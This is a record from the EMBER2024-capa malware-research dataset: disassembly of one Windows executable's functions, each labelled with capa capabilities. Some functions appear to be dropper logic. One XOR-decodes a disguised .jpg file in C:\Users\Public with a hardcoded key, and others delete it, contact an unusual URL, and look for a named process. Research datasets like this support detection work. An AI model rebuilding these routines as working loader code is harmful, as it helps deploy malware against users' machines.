joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4065e0
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
xor edi, edi
call fcn.004065c0
mov eax, str.nmfdsopm09833564g35
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4065f4
sub eax, edx
push 0x495428
push str.C:UsersPublicjd.jpg
mov ebp, eax
call fcn.00429cbb
push 0x494f20
push str.C:UsersPublicjhg.jpg
mov esi, eax
call fcn.00429cbb
push esi
mov ebx, eax
call fcn.0042ad4b
add esp, 0x14
test eax, eax
jne 0x40667b
mov edi, edi
push esi
push 1
lea eax, [esp + 0x1b]
push 1
push eax
call fcn.0042b053
push esi
call fcn.0042ad4b
add esp, 0x14
test eax, eax
jne 0x40666e
mov eax, edi
cdq
idiv ebp
push ebx
push 1
push 1
mov cl, byte [edx + str.nmfdsopm09833564g35]
xor byte [esp + 0x1f], cl
lea edx, [esp + 0x1f]
push edx
call fcn.00429e34
add esp, 0x10
inc edi
push esi
call fcn.0042ad4b
add esp, 4
test eax, eax
je 0x406630
push esi
call fcn.00429b7b
push ebx
call fcn.00429b7b
add esp, 8
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret

Function at 0x406690
Capabilities:
Delete file

Disassembly:
sub esp, 0x138
mov eax, dword [0x4a14b4]
xor eax, esp
mov dword [esp + 0x134], eax
push ebx
push esi
push edi
call fcn.0040ce20
mov edi, eax
test edi, edi
je 0x4066c0
call fcn.0040cec0
test eax, eax
je 0x4066da
call fcn.0040cef0
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x134]
xor ecx, esp
call fcn.004296eb
add esp, 0x138
ret
push 0xffffffffffffffff
lea eax, [esp + 0x10]
mov ecx, edi
call fcn.0040ce30
add esp, 4
test eax, eax
jne 0x4066bb
mov ebx, dword [esp + 0xc]
xor esi, esi
test ebx, ebx
jle 0x40671b
push esi
lea eax, [esp + 0x10]
mov ecx, edi
call fcn.0040ce30
add esp, 4
push edi
lea eax, [esp + 0x14]
mov edx, esi
call fcn.0040ceb0
inc esi
add esp, 4
cmp esi, ebx
jl 0x4066f8
call fcn.0040cef0
push str.C:UsersPublicjhg.jpg
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [esp + 0x140]
pop edi
pop esi
pop ebx
xor ecx, esp
mov eax, 1
call fcn.004296eb
add esp, 0x138
ret

Function at 0x406750
Capabilities:
Create http request

Disassembly:
sub esp, 0x38
mov eax, dword [0x4a14b4]
xor eax, esp
mov dword [esp + 0x34], eax
push ebx
push esi
push edi
mov ebx, ecx
call fcn.0040fae8
mov ecx, 0xc
mov esi, str.https:__www.baidu.com:10086_35834_344_5694_shtml
lea edi, [esp + 0xc]
rep movsd dword es:[edi], dword [esi]
push 0
push 0
push 0
push 1
push 0
movsb byte es:[edi], byte [esi]
call dword [sym.imp.WININET.dll_InternetOpenA]
push 0
push 0x84000000
push 0
mov esi, eax
push 0
lea eax, [esp + 0x1c]
push eax
push esi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov edi, eax
test edi, edi
jne 0x4067d9
lea ecx, [ebx + 0xcc]
push ecx
call fcn.004027b0
mov ecx, ebx
call fcn.004068f0
mov edx, dword [ebx + 0x20]
push edi
push 0xbb8
push 0xb
push edx
call dword [sym.imp.USER32.dll_SetTimer]
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push edi
jmp 0x4067e3
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push edi
call esi
mov ecx, dword [esp + 0x40]
pop edi
pop esi
pop ebx
xor ecx, esp
mov eax, 1
call fcn.004296eb
add esp, 0x38
ret
Function at 0x406820
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x23c
mov eax, dword [0x4a14b4]
xor eax, esp
mov dword [esp + 0x234], eax
push ebx
push ebp
push esi
push edi
push str.SPMCenter.exe
lea eax, [esp + 0x13c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ebx, dword [sym.imp.USER32.dll_CharLowerBuffA]
push 0x104
lea ecx, [esp + 0x13c]
push ecx
call ebx
xor edi, edi
push edi
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, 0xffffffff
je 0x4068c6
lea edx, [esp + 0x10]
push edx
push esi
mov dword [esp + 0x18], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x4068bf
mov ebp, dword [sym.imp.KERNEL32.dll_lstrcmpA]
mov edi, edi
push 0x104
lea eax, [esp + 0x38]
push eax
call ebx
lea ecx, [esp + 0x34]
push ecx
lea edx, [esp + 0x13c]
push edx
call ebp
test eax, eax
jne 0x4068b0
inc edi
lea eax, [esp + 0x10]
push eax
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x406890
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x244]
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004296eb
add esp, 0x23c
ret

Function at 0x4085c0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
movzx edx, word [esp + 4]
mov dword [esp + 4], edx
jmp fcn.0041001f
Function at 0x408710
Capabilities:
Access peb ldr_data
Check os version
Get system information on windows

Disassembly:
push 0xffffffffffffffff
push 0x48184b
mov eax, dword fs:[0]
push eax
sub esp, 0xc8
mov eax, dword [0x4a14b4]
xor eax, esp
mov dword [esp + 0xc4], eax
push esi
mov eax, dword [0x4a14b4]
xor eax, esp
push eax
lea eax, [esp + 0xd0]
mov dword fs:[0], eax
lea eax, [esp + 0xc]
xor esi, esi
push eax
mov dword [esp + 0xc], esi
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea ecx, [esp + 0x30]
push ecx
mov dword [esp + 0x34], 0x9c
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x408905
call fcn.0040cf97
xor ecx, ecx
cmp eax, esi
setne cl
cmp ecx, esi
jne 0x40878e
push 0x80004005
call fcn.00405ec0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 8], eax
mov dword [esp + 0xd8], esi
mov eax, dword [esp + 0x34]
sub eax, 4
je 0x408887
mov ecx, 1
sub eax, ecx
je 0x408829
sub eax, ecx
je 0x4087c9
push 0x4a5dd8
jmp 0x4088c1
mov eax, dword [esp + 0x38]
sub eax, esi
je 0x408808
sub eax, ecx
je 0x4087e7
sub eax, ecx
jne 0x4088ca
push 0x4a5dd4
jmp 0x4088c1
cmp byte [esp + 0xca], cl
lea ecx, [esp + 8]
jne 0x4087fe
push 0x4a5dcc
jmp 0x4088c5
push 0x4a5dd0
jmp 0x4088c5
cmp byte [esp + 0xca], cl
lea ecx, [esp + 8]
jne 0x40881f
push 0x4a5dc4
jmp 0x4088c5
push 0x4a5dc8
jmp 0x4088c5
mov eax, dword [esp + 0x38]
sub eax, esi
je 0x408880
sub eax, ecx
je 0x408879
sub eax, ecx
jne 0x4088ca
cmp byte [esp + 0xca], cl
jne 0x408855
cmp word [esp + 0xc], 9
jne 0x408855
push 0x4a5db8
jmp 0x4088c1
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
push 0x59
call esi
test eax, eax
jne 0x40886a
push 0x4a5dbc
jmp 0x4088c1
push 0x59
call esi
test eax, eax
je 0x4088ca
push 0x4a5dc0
jmp 0x4088c1
push 0x4a5db4
jmp 0x4088c1
push 0x4a5db0
jmp 0x4088c1
mov eax, dword [esp + 0x38]
cmp eax, esi
je 0x4088a7
cmp eax, 0xa
je 0x4088a0
cmp eax, 0x5a
jne 0x4088ca
push 0x4a5dac
jmp 0x4088c1
push 0x4a5da8
jmp 0x4088c1
mov eax, dword [esp + 0x40]
cmp eax, 2
jne 0x4088b7
push 0x4a5da0
jmp 0x4088c1
cmp eax, 1
jne 0x4088ca
push 0x4a5da4
lea ecx, [esp + 0xc]
call fcn.004085f0
mov esi, dword [esp + 8]
add esi, 0xfffffff0
push esi
call fcn.00405a80
add eax, 0x10
add esp, 4
mov dword [edi], eax
mov dword [esp + 0xd8], 0xffffffff
lea ecx, [esi + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x408911
mov ecx, dword [esi]
mov eax, dword [ecx]
mov edx, dword [eax + 4]
push esi
call edx
jmp 0x408911
push 0x495110
mov ecx, edi
call fcn.004063f0
mov eax, edi
mov ecx, dword [esp + 0xd0]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [esp + 0xc4]
xor ecx, esp
call fcn.004296eb
add esp, 0xd4
ret
Function at 0x408d60
Capabilities:
Create pipe
Create thread
Read file on windows

Disassembly:
mov eax, 0x1060
call fcn.0042e580
mov eax, dword [0x4a14b4]
xor eax, esp
mov dword [esp + 0x105c], eax
push 0
push 0
push ebx
push 0x408c40
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0xc]
push edx
mov dword [esp + 0x1c], 0xc
mov dword [esp + 0x20], 0
mov dword [esp + 0x24], 1
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x408de2
push eax
push eax
push str.Error_on_CreatePipe___
call fcn.00411775
xor al, al
mov ecx, dword [esp + 0x105c]
xor ecx, esp
call fcn.004296eb
add esp, 0x1060
ret
push ebp
lea eax, [esp + 0x1c]
push eax
mov dword [esp + 0x20], 0x44
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov eax, dword [esp + 0xc]
xor ecx, ecx
push eax
mov dword [esp + 0x60], eax
mov dword [esp + 0x5c], eax
mov word [esp + 0x50], cx
mov dword [esp + 0x4c], 0x101
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x1000
lea edx, [esp + 0x64]
push 0
push edx
call fcn.0042c770
mov edx, dword [esp + 0x10]
mov ebp, dword [sym.imp.KERNEL32.dll_ReadFile]
add esp, 0xc
push 0
lea eax, [esp + 0xc]
push eax
push 0xfff
lea ecx, [esp + 0x6c]
push ecx
push edx
call ebp
test eax, eax
je 0x408e98
push esi
push edi
lea eax, [esp + 0x68]
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x408e56
mov edi, ebx
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x408e64
mov edx, dword [esp + 0xc]
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push 0
mov ecx, eax
and ecx, 3
lea eax, [esp + 0x14]
push eax
rep movsb byte es:[edi], byte [esi]
push 0xfff
lea ecx, [esp + 0x74]
push ecx
push edx
call ebp
test eax, eax
jne 0x408e50
pop edi
pop esi
mov ecx, dword [esp + 0x1060]
pop ebp
xor ecx, esp
mov al, 1
call fcn.004296eb
add esp, 0x1060
ret
Function at 0x40abc0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
test ecx, ecx
jne 0x40abc7
xor eax, eax
ret
push esi
not eax
cmp edx, 8
jb 0x40aca4
mov esi, edx
shr esi, 3
push edi
lea esp, [esp]
movzx edi, byte [ecx]
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x496c58]
movzx edi, byte [ecx + 1]
xor edi, eax
and edi, 0xff
inc ecx
shr eax, 8
xor eax, dword [edi*4 + 0x496c58]
movzx edi, byte [ecx + 1]
xor edi, eax
and edi, 0xff
inc ecx
shr eax, 8
xor eax, dword [edi*4 + 0x496c58]
movzx edi, byte [ecx + 1]
xor edi, eax
inc ecx
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x496c58]
movzx edi, byte [ecx + 1]
xor edi, eax
inc ecx
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x496c58]
movzx edi, byte [ecx + 1]
xor edi, eax
inc ecx
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x496c58]
movzx edi, byte [ecx + 1]
inc ecx
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x496c58]
movzx edi, byte [ecx + 1]
inc ecx
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x496c58]
inc ecx
sub edx, 8
sub esi, 1
jne 0x40abe0
pop edi
test edx, edx
je 0x40accb
jmp 0x40acb0
movzx esi, byte [ecx]
xor esi, eax
and esi, 0xff
shr eax, 8
xor eax, dword [esi*4 + 0x496c58]
inc ecx
sub edx, 1
jne 0x40acb0
not eax
pop esi
ret

Function at 0x40acd0
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
mov eax, dword [edx]
movsx ecx, cl
xor ecx, eax
shr eax, 8
and ecx, 0xff
mov ecx, dword [ecx*4 + 0x496c58]
xor ecx, eax
movzx eax, cl
add eax, dword [edx + 4]
mov dword [edx], ecx
mov ecx, dword [edx + 8]
imul eax, eax, 0x8088405
inc eax
mov dword [edx + 4], eax
shr eax, 0x18
xor eax, ecx
and eax, 0xff
shr ecx, 8
xor ecx, dword [eax*4 + 0x496c58]
mov dword [edx + 8], ecx
ret

Function at 0x40b510
Capabilities:
Read file on windows

Disassembly:
push esi
mov esi, ebx
imul esi, dword [esp + 8]
cmp byte [edi], 0
je 0x40b542
mov ecx, dword [edi + 4]
push 0
lea eax, [esp + 0xc]
push eax
push esi
push edx
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x40b538
mov byte [edi + 8], 1
mov eax, dword [esp + 8]
xor edx, edx
div ebx
pop esi
ret
mov ecx, dword [edi + 0x1c]
mov eax, dword [edi + 0x18]
push ebp
lea ebp, [ecx + esi]
cmp ebp, eax
pop ebp
jbe 0x40b555
sub eax, ecx
mov esi, eax
mov eax, dword [edi + 0x14]
push esi
add eax, ecx
push eax
push edx
call fcn.0042f880
add dword [edi + 0x1c], esi
mov eax, esi
add esp, 0xc
xor edx, edx
div ebx
pop esi
ret
Function at 0x40be30
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0xc
push ebx
push edi
mov edi, eax
xor ebx, ebx
cmp edi, ebx
jne 0x40be48
pop edi
mov eax, 0xffffff9a
pop ebx
add esp, 0xc
ret
cmp dword [edi + 0x18], ebx
je 0x40be3d
cmp dword [edi + 0x7c], ebx
je 0x40be57
call fcn.0040c1e0
lea eax, [esp + 0xc]
push eax
lea ecx, [esp + 0xc]
push ecx
lea edx, [esp + 0x18]
push edx
push edi
call fcn.0040bc60
add esp, 0x10
test eax, eax
je 0x40be7e
pop edi
mov eax, 0xffffff99
pop ebx
add esp, 0xc
ret
push ebp
push 0x84
call fcn.0042b330
mov ebp, eax
add esp, 4
cmp ebp, ebx
je 0x40bec0
push 0x4000
call fcn.0042b330
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
add esp, 4
mov dword [ebp], eax
mov dword [ebp + 0x44], ecx
mov dword [ebp + 0x48], edx
mov dword [ebp + 0x4c], ebx
cmp eax, ebx
jne 0x40becc
push ebp
call fcn.00429eb6
add esp, 4
pop ebp
pop edi
mov eax, 0xffffff98
pop ebx
add esp, 0xc
ret
mov dword [ebp + 0x40], ebx
mov ecx, dword [edi + 0x3c]
xor eax, eax
cmp dword [edi + 0x34], ebx
mov dword [ebp + 0x54], ecx
mov dword [ebp + 0x50], ebx
mov edx, dword [edi + 0x34]
sete al
mov dword [ebp + 0x64], edx
mov ecx, dword [edi]
mov dword [ebp + 0x60], ecx
mov edx, dword [edi + 0xc]
push esi
mov dword [ebp + 0x68], edx
mov dword [ebp + 0x18], ebx
cmp eax, ebx
jne 0x40bf15
lea esi, [ebp + 4]
mov dword [ebp + 0x24], ebx
mov dword [ebp + 0x28], ebx
mov dword [ebp + 0x2c], ebx
call fcn.0040af10
test eax, eax
jne 0x40bf15
mov dword [ebp + 0x40], 1
mov eax, dword [edi + 0x40]
mov dword [ebp + 0x58], eax
mov ecx, dword [edi + 0x44]
mov dword [ebp + 0x5c], ecx
mov dl, byte [edi + 0x30]
and dl, 1
mov byte [ebp + 0x6c], dl
mov eax, dword [edi + 0x30]
shr eax, 3
test al, 1
je 0x40bf3f
mov cl, byte [edi + 0x39]
mov byte [ebp + 0x80], cl
jmp 0x40bf48
mov dl, byte [edi + 0x3f]
mov byte [ebp + 0x80], dl
movzx eax, byte [ebp + 0x6c]
mov esi, dword [esp + 0x20]
neg eax
sbb eax, eax
and eax, 0xc
lea edx, [ebp + 0x70]
mov dword [ebp + 0x7c], eax
mov dword [edx], 0x12345678
mov dword [ebp + 0x74], 0x23456789
mov dword [ebp + 0x78], 0x34567890
cmp esi, ebx
je 0x40bf85
mov cl, byte [esi]
cmp cl, bl
je 0x40bf85
call fcn.0040acd0
add esi, 1
jne 0x40bf75
mov ecx, dword [edi + 0x78]
mov edx, dword [esp + 0x18]
lea eax, [ecx + edx + 0x1e]
mov dword [ebp + 0x3c], eax
mov dword [ebp + 8], ebx
pop esi
mov dword [edi + 0x7c], ebp
pop ebp
pop edi
xor eax, eax
pop ebx
add esp, 0xc
ret
Function at 0x40c350
Capabilities:
Get common file path

Disassembly:
sub esp, 8
cmp dword [esi], 0
push edi
jne 0x40c3d5
cmp dword [esi + 4], 0xffffffff
jne 0x40c3d5
lea edi, [esi + 0x140]
push edi
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov eax, edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40c376
sub eax, edx
mov al, byte [eax + esi + 0x13f]
cmp al, 0x5c
je 0x40c3a1
cmp al, 0x2f
je 0x40c3a1
dec edi
nop
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x40c390
mov ax, word [0x497250]
mov word [edi], ax
lea ecx, [esp + 8]
push ecx
call fcn.0040b360
add esp, 4
test eax, eax
jne 0x40c3bb
mov eax, dword [esp + 8]
pop edi
add esp, 8
ret
call fcn.0040b7c0
mov dword [esi], eax
neg eax
sbb eax, eax
and eax, 0xfffffe00
add eax, 0x200
pop edi
add esp, 8
ret
mov eax, 0x1000000
pop edi
add esp, 8
ret

Function at 0x40c910
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
sub esp, 0x20c
mov eax, dword [0x4a14b4]
xor eax, esp
mov dword [esp + 0x208], eax
push ebp
mov ebp, dword [esp + 0x218]
push edi
mov edi, dword [esp + 0x218]
test edi, edi
je 0x40c94d
push edi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x40c94d
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov al, byte [ebp]
test al, al
je 0x40ca06
push esi
mov esi, ebp
mov ecx, ebp
lea ecx, [ecx]
cmp al, 0x2f
je 0x40c968
cmp al, 0x5c
jne 0x40c96a
mov esi, ecx
mov al, byte [ecx + 1]
inc ecx
test al, al
jne 0x40c960
cmp esi, ebp
je 0x40c9a0
sub esi, ebp
push esi
lea eax, [esp + 0x114]
push ebp
push eax
call fcn.0042f880
lea ecx, [esp + 0x11c]
push ecx
push edi
mov byte [esp + esi + 0x124], 0
call fcn.0040c910
add esp, 0x14
mov byte [esp + 0xc], 0
test edi, edi
je 0x40c9bb
lea edx, [esp + 0xc]
mov eax, edi
sub edx, edi
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x40c9b1
mov eax, ebp
mov edx, ebp
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40c9c0
lea edi, [esp + 0xc]
sub eax, edx
dec edi
mov edi, edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x40c9d0
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea edx, [esp + 0xc]
and ecx, 3
push edx
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
pop esi
cmp eax, 0xffffffff
jne 0x40ca06
push 0
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov ecx, dword [esp + 0x210]
pop edi
pop ebp
xor ecx, esp
call fcn.004296eb
add esp, 0x20c
ret
Function at 0x40ecc5
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], ebx
cmp dword [ebp + 0xc], ebx
je 0x40ed0d
call fcn.00418287
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x40ed0d
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 4], eax
test eax, eax
je 0x40ed50
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov esi, dword [ebp + 8]
mov dword [ebp + 0xc], 1
test ebx, ebx
je 0x40ed39
push dword [ebp + 0x10]
mov eax, dword [edi]
push ebx
push esi
mov ecx, edi
call dword [eax + 0x20]
cmp dword [ebp - 4], 0
mov dword [ebp + 0xc], eax
je 0x40ed39
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FreeResource]
cmp dword [esi + 0x4c], 0
je 0x40ed4d
mov ecx, dword [esi + 0x4c]
push dword [ebp + 0x10]
mov eax, dword [ecx]
call dword [eax + 0xa0]
mov eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x416d48
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov dword [ebp - 4], ecx
cmp dword [ebp + 8], ebx
je 0x416d8f
call fcn.00418287
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x416d8f
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
test ebx, ebx
je 0x416dab
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
mov ecx, dword [ebp - 4]
push edi
call fcn.004168c2
mov esi, eax
test edi, edi
je 0x416da9
test ebx, ebx
je 0x416da9
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x417526
Capabilities:
Get graphical window text

Disassembly:
push 4
mov eax, 0x4801a9
call fcn.0042bca9
mov esi, ecx
cmp dword [esi + 0x50], 0
jne 0x41754b
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextA]
jmp 0x417591
lea ecx, [ebp - 0x10]
call fcn.00405f20
mov ecx, dword [esi + 0x50]
mov eax, dword [ecx]
and dword [ebp - 4], 0
lea edx, [ebp - 0x10]
push edx
call dword [eax + 0x8c]
push 0xffffffffffffffff
push dword [ebp - 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0040d3a4
add esp, 0x10
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
mov esi, eax
call fcn.00405ee0
mov eax, esi
call fcn.0042bd81
ret 8
Function at 0x4296eb
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4a14b4]
jne 0x4296f5
repz ret
jmp fcn.0042f76f

Function at 0x43f120
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004300d2
and dword [ebp - 4], 0
cmp dword [0x4a5964], 0
mov ebx, eax
jne 0x43f1d1
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x43f282
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x489a84
push edi
call esi
test eax, eax
je 0x43f282
push eax
call fcn.00430060
mov dword [esp], 0x489a74
push edi
mov dword [0x4a5964], eax
call esi
push eax
call fcn.00430060
mov dword [esp], 0x489a60
push edi
mov dword [0x4a5968], eax
call esi
push eax
call fcn.00430060
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x4a596c], eax
call esi
push eax
call fcn.00430060
pop ecx
mov dword [0x4a5974], eax
test eax, eax
je 0x43f1d1
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00430060
pop ecx
mov dword [0x4a5970], eax
mov eax, dword [0x4a5970]
cmp eax, ebx
je 0x43f229
cmp dword [0x4a5974], ebx
je 0x43f229
push eax
call fcn.004300db
push dword [0x4a5974]
mov esi, eax
call fcn.004300db
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x43f229
test edi, edi
je 0x43f229
call esi
test eax, eax
je 0x43f220
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x43f220
test byte [ebp - 0xc], 1
jne 0x43f229
or dword [ebp + 0x10], 0x200000
jmp 0x43f262
mov eax, dword [0x4a5968]
cmp eax, ebx
je 0x43f262
push eax
call fcn.004300db
pop ecx
test eax, eax
je 0x43f262
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x43f262
mov eax, dword [0x4a596c]
cmp eax, ebx
je 0x43f262
push eax
call fcn.004300db
pop ecx
test eax, eax
je 0x43f262
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4a5964]
call fcn.004300db
pop ecx
test eax, eax
je 0x43f282
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x43f284
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x443df0
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x194
mov eax, dword [0x4a14b4]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x194]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x443e43
mov eax, dword [ebp - 0x194]
cmp al, 2
jne 0x443e3d
shr eax, 8
cmp al, 2
jne 0x443e3d
call fcn.00444200
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004296eb
mov esp, ebp
pop ebp
ret
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov eax, 2
call fcn.004296eb
mov esp, ebp
pop ebp
ret